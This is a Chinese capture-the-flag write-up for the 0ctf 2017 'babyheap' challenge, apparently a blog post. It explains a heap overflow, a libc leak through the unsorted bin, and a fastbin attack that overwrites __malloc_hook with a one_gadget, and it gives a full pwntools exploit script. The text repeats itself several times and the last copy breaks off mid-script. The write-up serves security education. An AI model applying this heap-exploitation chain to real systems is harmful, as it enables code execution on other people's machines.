-
-
[原创]20170ctf babyheap
-
发表于: 2018-10-20 12:58 8164
-
堆溢出
程序逻辑结构
可怕,开了全保护。必须要泄露地址了。。。
1、allocate
for ( i = 0; i <= 15; ++i ) //从chunk_list开始遍历分配堆指针,最多16个chunk { if ( !*(_DWORD *)(24LL * i + chunk_list) ) //检查是否已分配 { printf("Size: "); v2 = read_number(); if ( v2 > 0 ) //不能是负数 { if ( v2 > 4096 ) //最大4096字节 v2 = 4096; v3 = calloc(v2, 1uLL); //注意这里是用calloc分配,会把指针的内容先清零 if ( !v3 ) exit(-1); *(_DWORD *)(24LL * i + chunk_list) = 1; //in_use *(_QWORD *)(chunk_list + 24LL * i + 8) = v2; //size *(_QWORD *)(chunk_list + 24LL * i + 16) = v3; //ptr /****************************/ 结构如下: in_use | size ptr | /***************************/ printf("Allocate Index %d\n", (unsigned int)i); } return; } }
2、Fill
printf("Index: "); result = read_number(); v2 = result; if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = read_number(); v3 = result; if ( (signed int)result > 0 ) //这里只简单检查了是否是负数,没有限定size的上限,因此存在堆溢出漏洞 { printf("Content: "); result = input(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } }
3、Free
printf("Index: "); result = read_number(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; /*************/ 全都设置为零的,没毛病 /**************/ } }
4、Dump
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
可怕,开了全保护。必须要泄露地址了。。。
1、allocate
for ( i = 0; i <= 15; ++i ) //从chunk_list开始遍历分配堆指针,最多16个chunk { if ( !*(_DWORD *)(24LL * i + chunk_list) ) //检查是否已分配 { printf("Size: "); v2 = read_number(); if ( v2 > 0 ) //不能是负数 { if ( v2 > 4096 ) //最大4096字节 v2 = 4096; v3 = calloc(v2, 1uLL); //注意这里是用calloc分配,会把指针的内容先清零 if ( !v3 ) exit(-1); *(_DWORD *)(24LL * i + chunk_list) = 1; //in_use *(_QWORD *)(chunk_list + 24LL * i + 8) = v2; //size *(_QWORD *)(chunk_list + 24LL * i + 16) = v3; //ptr /****************************/ 结构如下: in_use | size ptr | /***************************/ printf("Allocate Index %d\n", (unsigned int)i); } return; } }
2、Fill
printf("Index: "); result = read_number(); v2 = result; if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = read_number(); v3 = result; if ( (signed int)result > 0 ) //这里只简单检查了是否是负数,没有限定size的上限,因此存在堆溢出漏洞 { printf("Content: "); result = input(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } }
3、Free
printf("Index: "); result = read_number(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; /*************/ 全都设置为零的,没毛病 /**************/ } }
4、Dump
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
for ( i = 0; i <= 15; ++i ) //从chunk_list开始遍历分配堆指针,最多16个chunk { if ( !*(_DWORD *)(24LL * i + chunk_list) ) //检查是否已分配 { printf("Size: "); v2 = read_number(); if ( v2 > 0 ) //不能是负数 { if ( v2 > 4096 ) //最大4096字节 v2 = 4096; v3 = calloc(v2, 1uLL); //注意这里是用calloc分配,会把指针的内容先清零 if ( !v3 ) exit(-1); *(_DWORD *)(24LL * i + chunk_list) = 1; //in_use *(_QWORD *)(chunk_list + 24LL * i + 8) = v2; //size *(_QWORD *)(chunk_list + 24LL * i + 16) = v3; //ptr /****************************/ 结构如下: in_use | size ptr | /***************************/ printf("Allocate Index %d\n", (unsigned int)i); } return; } }
2、Fill
printf("Index: "); result = read_number(); v2 = result; if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = read_number(); v3 = result; if ( (signed int)result > 0 ) //这里只简单检查了是否是负数,没有限定size的上限,因此存在堆溢出漏洞 { printf("Content: "); result = input(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } }
3、Free
printf("Index: "); result = read_number(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; /*************/ 全都设置为零的,没毛病 /**************/ } }
4、Dump
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
printf("Index: "); result = read_number(); v2 = result; if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = read_number(); v3 = result; if ( (signed int)result > 0 ) //这里只简单检查了是否是负数,没有限定size的上限,因此存在堆溢出漏洞 { printf("Content: "); result = input(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } }
3、Free
printf("Index: "); result = read_number(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; /*************/ 全都设置为零的,没毛病 /**************/ } }
4、Dump
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) 